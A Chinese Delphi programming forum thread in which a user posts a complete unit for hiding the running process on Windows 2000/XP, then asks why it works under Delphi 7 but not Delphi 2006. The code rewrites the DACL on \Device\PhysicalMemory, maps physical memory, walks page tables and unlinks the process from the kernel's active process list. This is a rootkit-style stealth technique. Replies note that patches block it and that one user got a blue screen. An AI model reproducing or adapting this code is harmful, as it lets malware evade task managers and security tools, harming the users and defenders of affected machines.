XP无DLL隐藏进程(100分)

  • 主题发起人 主题发起人 hkcbz
  • 开始时间 开始时间
H

hkcbz

Unregistered / Unconfirmed
GUEST, unregistred user!
这段代码在D7编译后的EXE中就可以隐藏,但在D2006中就隐藏不了,但是如果先运行一下D7编译的EXE后,再用D2006的就好使,请大家看看会么原因<br><br>unit HideProcess;<br>interface<br><br>function MyHideProcess: Boolean;<br><br>implementation<br><br>uses<br> &nbsp;Windows, SysUtils, Variants, Classes, AclAPI, accCtrl;<br><br>type<br> &nbsp;NTSTATUS = LongInt;<br><br>const<br> // NT_SUCCESS(Status) ((NTSTATUS)(Status) &gt;= 0)<br> &nbsp;//STATUS_INFO_LENGTH_MISMATCH = NTSTATUS($C0000004);<br> &nbsp;STATUS_ACCESS_DENIED = NTSTATUS($C0000022);<br> &nbsp;//OBJ_INHERIT = $00000002;<br> // OBJ_PERMANENT = $00000010;<br> // OBJ_EXCLUSIVE = $00000020;<br> // OBJ_CASE_INSENSITIVE = $00000040;<br> // OBJ_OPENIF = $00000080;<br> // OBJ_OPENLINK = $00000100;<br> // OBJ_KERNEL_HANDLE = $00000200;<br> // OBJ_VALID_ATTRIBUTES = $000003F2;<br><br>type<br> &nbsp;{PIO_STATUS_BLOCK = ^IO_STATUS_BLOCK;<br> &nbsp;IO_STATUS_BLOCK = record<br> &nbsp; &nbsp;Status: NTSTATUS;<br> &nbsp; &nbsp;FObject: DWORD;<br> &nbsp;end; {}<br><br> &nbsp;PUNICODE_STRING = ^UNICODE_STRING;<br> &nbsp;UNICODE_STRING = record<br> &nbsp; &nbsp;Length: Word;<br> &nbsp; &nbsp;MaximumLength: Word;<br> &nbsp; &nbsp;Buffer: PWideChar;<br> &nbsp;end; &nbsp;{}<br><br> &nbsp;POBJECT_ATTRIBUTES = ^OBJECT_ATTRIBUTES;<br> &nbsp;OBJECT_ATTRIBUTES = record<br> &nbsp; &nbsp;Length: DWORD;<br> &nbsp; &nbsp;RootDirectory: Pointer;<br> &nbsp; &nbsp;ObjectName: PUNICODE_STRING;<br> &nbsp; &nbsp;Attributes: DWORD;<br> &nbsp; &nbsp;SecurityDescriptor: Pointer;<br> &nbsp; &nbsp;SecurityQualityOfService: Pointer;<br> &nbsp;end;<br><br> &nbsp;TZwOpenSection = function(SectionHandle: PHandle;<br> &nbsp; &nbsp;DesiredAccess: ACCESS_MASK;<br> &nbsp; &nbsp;ObjectAttributes: POBJECT_ATTRIBUTES): NTSTATUS; stdcall;<br> &nbsp;TRTLINITUNICODESTRING = procedure(DestinationString: PUNICODE_STRING;<br> &nbsp; &nbsp;SourceString: PWideChar); stdcall;<br><br>var<br> &nbsp;RtlInitUnicodeString: TRTLINITUNICODESTRING = nil;<br> &nbsp;ZwOpenSection: TZwOpenSection = nil;<br> &nbsp;g_hNtDLL: THandle = 0;<br> &nbsp;g_pMapPhysicalMemory: Pointer = nil;<br> &nbsp;g_hMPM: THandle = 0;<br> &nbsp;g_hMPM2: THandle = 0;<br> &nbsp;g_osvi: OSVERSIONINFO;<br> &nbsp;b_hide: Boolean = false;<br>//---------------------------------------------------------------------------<br><br>function InitNTDLL: Boolean;<br>begin<br> &nbsp;g_hNtDLL := LoadLibrary('ntdll.dll');<br><br> &nbsp;if 0 = g_hNtDLL then<br> &nbsp;begin<br> &nbsp; &nbsp;Result := false;<br> &nbsp; &nbsp;Exit;<br> &nbsp;end;<br><br> &nbsp;RtlInitUnicodeString := GetProcAddress(g_hNtDLL, 'RtlInitUnicodeString');<br> &nbsp;ZwOpenSection := GetProcAddress(g_hNtDLL, 'ZwOpenSection');<br><br> &nbsp;Result := True;<br>end;<br>//---------------------------------------------------------------------------<br><br>procedure CloseNTDLL;<br>begin<br> &nbsp;if (0 &lt;&gt; g_hNtDLL) then<br> &nbsp; &nbsp;FreeLibrary(g_hNtDLL);<br> &nbsp;g_hNtDLL := 0;<br>end;<br>//---------------------------------------------------------------------------<br><br>procedure SetPhyscialMemorySectionCanBeWrited(hSection: THandle);<br>var<br> &nbsp;pDacl: PACL;<br> &nbsp;pSD: PPSECURITY_DESCRIPTOR;<br> &nbsp;pNewDacl: PACL;<br> &nbsp;dwRes: DWORD;<br> &nbsp;ea: EXPLICIT_ACCESS;<br>begin<br> &nbsp;pDacl := nil;<br> &nbsp;pSD := nil;<br> &nbsp;pNewDacl := nil;<br><br> &nbsp;dwRes := GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, nil, nil, pDacl, nil, pSD);<br><br> &nbsp;if ERROR_SUCCESS &lt;&gt; dwRes then<br> &nbsp;begin<br> &nbsp; &nbsp;if Assigned(pSD) then<br> &nbsp; &nbsp; &nbsp;LocalFree(Hlocal(pSD^));<br> &nbsp; &nbsp;if Assigned(pNewDacl) then<br> &nbsp; &nbsp; &nbsp;LocalFree(HLocal(pNewDacl));<br> &nbsp;end;<br><br> &nbsp;ZeroMemory(@ea, sizeof(EXPLICIT_ACCESS));<br> &nbsp;ea.grfAccessPermissions := SECTION_MAP_WRITE;<br> &nbsp;ea.grfAccessMode := GRANT_ACCESS;<br> &nbsp;ea.grfInheritance := NO_INHERITANCE;<br> &nbsp;ea.Trustee.TrusteeForm := TRUSTEE_IS_NAME;<br> &nbsp;ea.Trustee.TrusteeType := TRUSTEE_IS_USER;<br> &nbsp;ea.Trustee.ptstrName := 'CURRENT_USER';<br><br> &nbsp;dwRes := SetEntriesInAcl(1, @ea, pDacl, pNewDacl);<br><br> &nbsp;if ERROR_SUCCESS &lt;&gt; dwRes then<br> &nbsp;begin<br> &nbsp; &nbsp;if Assigned(pSD) then<br> &nbsp; &nbsp; &nbsp;LocalFree(Hlocal(pSD^));<br> &nbsp; &nbsp;if Assigned(pNewDacl) then<br> &nbsp; &nbsp; &nbsp;LocalFree(HLocal(pNewDacl));<br> &nbsp;end;<br><br> &nbsp;dwRes := SetSecurityInfo<br><br> &nbsp;(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, nil, nil, pNewDacl, nil);<br><br> &nbsp;if ERROR_SUCCESS &lt;&gt; dwRes then<br> &nbsp;begin<br> &nbsp; &nbsp;if Assigned(pSD) then<br> &nbsp; &nbsp; &nbsp;LocalFree(Hlocal(pSD^));<br> &nbsp; &nbsp;if Assigned(pNewDacl) then<br> &nbsp; &nbsp; &nbsp;LocalFree(HLocal(pNewDacl));<br> &nbsp;end;<br><br>end;<br>//---------------------------------------------------------------------------<br><br>function OpenPhysicalMemory: THandle;<br>var<br> &nbsp;status: NTSTATUS;<br> &nbsp;physmemString: UNICODE_STRING;<br> &nbsp;attributes: OBJECT_ATTRIBUTES;<br> &nbsp;PhyDirectory: DWORD;<br>begin<br> &nbsp;g_osvi.dwOSVersionInfoSize := sizeof(OSVERSIONINFO);<br> &nbsp;GetVersionEx(g_osvi);<br><br> &nbsp;if (5 &lt;&gt; g_osvi.dwMajorVersion) then<br> &nbsp;begin<br> &nbsp; &nbsp;Result := 0;<br> &nbsp; &nbsp;Exit;<br> &nbsp;end;<br><br> &nbsp;case g_osvi.dwMinorVersion of<br> &nbsp; &nbsp;0: PhyDirectory := $30000;<br> &nbsp; &nbsp;1: PhyDirectory := $39000;<br> &nbsp;else<br> &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp;Result := 0;<br> &nbsp; &nbsp; &nbsp;Exit;<br> &nbsp; &nbsp;end;<br> &nbsp;end;<br><br> &nbsp;RtlInitUnicodeString(@physmemString, '/Device/PhysicalMemory');<br><br> &nbsp;attributes.Length := SizeOf(OBJECT_ATTRIBUTES);<br> &nbsp;attributes.RootDirectory := nil;<br> &nbsp;attributes.ObjectName := @physmemString;<br> &nbsp;attributes.Attributes := 0;<br> &nbsp;attributes.SecurityDescriptor := nil;<br> &nbsp;attributes.SecurityQualityOfService := nil;<br><br> &nbsp;status := ZwOpenSection(@g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, @attributes);<br><br> &nbsp;if (status = STATUS_ACCESS_DENIED) then<br> &nbsp;begin<br> &nbsp; &nbsp;ZwOpenSection(@g_hMPM, READ_CONTROL or WRITE_DAC, @attributes);<br> &nbsp; &nbsp;SetPhyscialMemorySectionCanBeWrited(g_hMPM);<br> &nbsp; &nbsp;CloseHandle(g_hMPM);<br><br> &nbsp; &nbsp;status := ZwOpenSection(@g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, @attributes);<br> &nbsp;end;<br><br> &nbsp;if not (LongInt(status) &gt;= 0) then<br> &nbsp;begin<br> &nbsp; &nbsp;Result := 0;<br> &nbsp; &nbsp;Exit;<br> &nbsp;end;<br><br> &nbsp;g_pMapPhysicalMemory := MapViewOfFile(g_hMPM,<br> &nbsp; &nbsp;FILE_MAP_READ or FILE_MAP_WRITE, 0, PhyDirectory, $1000);<br><br> &nbsp;if (g_pMapPhysicalMemory = nil) then<br> &nbsp;begin<br> &nbsp; &nbsp;Result := 0;<br> &nbsp; &nbsp;Exit;<br> &nbsp;end;<br><br> &nbsp;Result := g_hMPM;<br>end;<br>//---------------------------------------------------------------------------<br>function LinearToPhys(BaseAddress: PULONG; addr: Pointer): Pointer;<br>var<br> &nbsp;VAddr, PGDE, PTE, PAddr, tmp: DWORD;<br>begin<br> &nbsp;VAddr := DWORD(addr);<br> // PGDE := BaseAddress[VAddr shr 22];<br> &nbsp;PGDE := PULONG(DWORD(BaseAddress) + (VAddr shr 22) * SizeOf(ULONG))^; // Modify by dot.<br><br> &nbsp;if 0 = (PGDE and 1) then<br> &nbsp;begin<br> &nbsp; &nbsp;Result := nil;<br> &nbsp; &nbsp;Exit;<br> &nbsp;end;<br><br> &nbsp;tmp := PGDE and $00000080;<br><br> &nbsp;if (0 &lt;&gt; tmp) then<br> &nbsp;begin<br> &nbsp; &nbsp;PAddr := (PGDE and $FFC00000) + (VAddr and $003FFFFF);<br> &nbsp;end<br> &nbsp;else<br> &nbsp;begin<br> &nbsp; &nbsp;PGDE := DWORD(MapViewOfFile(g_hMPM, 4, 0, PGDE and $FFFFF000, $1000));<br> &nbsp; // PTE := (PDWORD(PGDE))[(VAddr and $003FF000) shr 12];<br> &nbsp; &nbsp;PTE := PDWORD(PGDE + ((VAddr and $003FF000) shr 12) * SizeOf(DWord))^; // Modify by dot.<br><br> &nbsp; &nbsp;if (0 = (PTE and 1)) then<br> &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp;Result := nil;<br> &nbsp; &nbsp; &nbsp;Exit;<br> &nbsp; &nbsp;end;<br><br> &nbsp; &nbsp;PAddr := (PTE and $FFFFF000) + (VAddr and $00000FFF);<br> &nbsp; &nbsp;UnmapViewOfFile(Pointer(PGDE));<br> &nbsp;end;<br><br> &nbsp;Result := Pointer(PAddr);<br>end;<br>//---------------------------------------------------------------------------<br><br>function GetData(addr: Pointer): DWORD;<br>var<br> &nbsp;phys, ret: DWORD;<br> &nbsp;tmp: PDWORD;<br>begin<br> &nbsp;phys := ULONG(LinearToPhys(g_pMapPhysicalMemory, Pointer(addr)));<br> &nbsp;tmp := PDWORD(MapViewOfFile(g_hMPM, FILE_MAP_READ or FILE_MAP_WRITE, 0,<br> &nbsp; &nbsp;phys and $FFFFF000, $1000));<br><br> &nbsp;if (nil = tmp) then<br> &nbsp;begin<br> &nbsp; &nbsp;Result := 0;<br> &nbsp; &nbsp;Exit;<br> &nbsp;end;<br><br> &nbsp;//ret := tmp[(phys and $FFF) shr 2];<br> &nbsp;ret := PDWORD(DWORD(tmp) + ((phys and $FFF) shr 2) * SizeOf(DWord))^; // Modify by dot.<br> &nbsp;UnmapViewOfFile(tmp);<br><br> &nbsp;Result := ret;<br>end;<br>//---------------------------------------------------------------------------<br><br>function SetData(addr: Pointer; data: DWORD): Boolean;<br>var<br> &nbsp;phys: DWORD;<br> &nbsp;tmp: PDWORD;<br>begin<br> &nbsp;phys := ULONG(LinearToPhys(g_pMapPhysicalMemory, Pointer(addr)));<br> &nbsp;tmp := PDWORD(MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys and $FFFFF000, $1000));<br><br> &nbsp;if (nil = tmp) then<br> &nbsp;begin<br> &nbsp; &nbsp;Result := false;<br> &nbsp; &nbsp;Exit;<br> &nbsp;end;<br><br>// &nbsp;tmp[(phys and $FFF) shr 2] := data;<br> &nbsp;PDWORD(DWORD(tmp) + ((phys and $FFF) shr 2) * SizeOf(DWord))^ := data; // Modify by dot.<br> &nbsp;UnmapViewOfFile(tmp);<br><br> &nbsp;Result := TRUE;<br>end;<br>//---------------------------------------------------------------------------<br>{long __stdcall exeception(struct _EXCEPTION_POINTERS *tmp)<br>begin<br> ExitProcess(0);<br> return 1 ;<br>end }<br>//---------------------------------------------------------------------------<br><br>function YHideProcess: Boolean;<br>var<br> &nbsp;thread, process: DWORD;<br> &nbsp;fw, bw: DWORD;<br>begin<br>// &nbsp;SetUnhandledExceptionFilter(exeception);<br> &nbsp;if (FALSE = InitNTDLL) then<br> &nbsp;begin<br> &nbsp; &nbsp;Result := FALSE;<br> &nbsp; &nbsp;Exit;<br> &nbsp;end;<br><br> &nbsp;if (0 = OpenPhysicalMemory) then<br> &nbsp;begin<br> &nbsp; &nbsp;Result := FALSE;<br> &nbsp; &nbsp;Exit;<br> &nbsp;end;<br><br> &nbsp;thread := GetData(Pointer($FFDFF124)); //kteb<br> &nbsp;process := GetData(Pointer(thread + $44)); //kpeb<br><br> &nbsp;if (0 = g_osvi.dwMinorVersion) then<br> &nbsp;begin<br> &nbsp; &nbsp;fw := GetData(Pointer(process + $A0));<br> &nbsp; &nbsp;bw := GetData(Pointer(process + $A4));<br><br> &nbsp; &nbsp;SetData(Pointer(fw + 4), bw);<br> &nbsp; &nbsp;SetData(Pointer(bw), fw);<br><br> &nbsp; &nbsp;Result := TRUE;<br> &nbsp;end<br> &nbsp;else if (1 = g_osvi.dwMinorVersion) then<br> &nbsp;begin<br> &nbsp; &nbsp;fw := GetData(Pointer(process + $88));<br> &nbsp; &nbsp;bw := GetData(Pointer(process + $8C));<br><br> &nbsp; &nbsp;SetData(Pointer(fw + 4), bw);<br> &nbsp; &nbsp;SetData(Pointer(bw), fw);<br><br> &nbsp; &nbsp;Result := TRUE;<br> &nbsp;end<br> &nbsp;else<br> &nbsp;begin<br> &nbsp; &nbsp;Result := False;<br> &nbsp;end;<br><br> &nbsp;CloseHandle(g_hMPM);<br> &nbsp;CloseNTDLL;<br>end;<br><br>function MyHideProcess: Boolean;<br>begin<br> &nbsp;if not b_hide then<br> &nbsp;begin<br> &nbsp; &nbsp;b_hide := YHideProcess;<br> &nbsp;end;<br><br> &nbsp;Result := b_hide;<br>end;<br><br>end.<br><br>在单元中引用该文件,调用interface中的函数即可
 
试了下,我的BDS2006下可以列.
 
以前在盒子上下过这个代码。<br>确实,调用 MyHideProcess 隐藏无效(我也是D2006)。<br>估计哪没弄明白...
 
如果你的XP是SP2带最新补丁的话,这个代码没用了,已经被微软堵了
 
我正版的Windows,带所有补丁,可是这个在我这里有效哈.
 
别高兴,那说明你的系统存在危险
 
我用了这代码蓝屏了
 
在我机器上,是D7编译的有效,但D2006无效(不能说无效,如果先执行一下D7编译的,再执行D2006就有效,而且什么时候能有效,直到机器重启,重启后还是无效,必须先执行D7编译的,而D7什么时候都有效);我有机器XPSP2,补丁都打了
 
太久了,结贴
 
后退
顶部